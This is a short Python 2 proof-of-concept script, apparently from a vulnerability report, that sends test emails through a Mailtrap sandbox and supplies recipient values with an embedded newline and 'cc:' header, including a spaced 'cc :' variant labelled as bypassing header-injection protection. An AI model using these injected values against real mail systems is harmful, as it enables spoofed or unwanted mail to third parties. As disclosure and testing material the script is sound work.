import smtplib from email.mime.multipart import MIMEMultipart from email.mime.text import MIMEText settings = { 'username' : 'USERNAME', 'domain' : 'mailtrap.io', 'password' : 'PASSWORD', 'host' : 'smtp.mailtrap.io', 'port' : 2525 } def sendEmail(msg_to): msg = MIMEMultipart('alternative') msg['Subject'] = 'Subject123' msg['From'] = settings['username'] + settings['domain'] msg['To'] = msg_to msg.attach(MIMEText('Proof of Concept', 'plain')) smtp_server = smtplib.SMTP(settings['host'], port=settings['port']) smtp_server.starttls() smtp_server.login(settings['username'], settings['password']) smtp_server.sendmail(settings['username']+settings['domain'],msg_to, msg.as_string()) return [msg_to] print "Seinding Test Email" try: print sendEmail('example@python.org') except Exception as e: print "ERROR:" +str(e) print "Sending Injected Email Header:" try: print sendEmail('example@python.org\ncc: example@python.org') except Exception as e: print "ERROR:" +str(e) print "Bypassing Header Injection Protection" try: print sendEmail('example@python.org\ncc :example@python.org') except Exception as e: print "ERROR:" +str(e)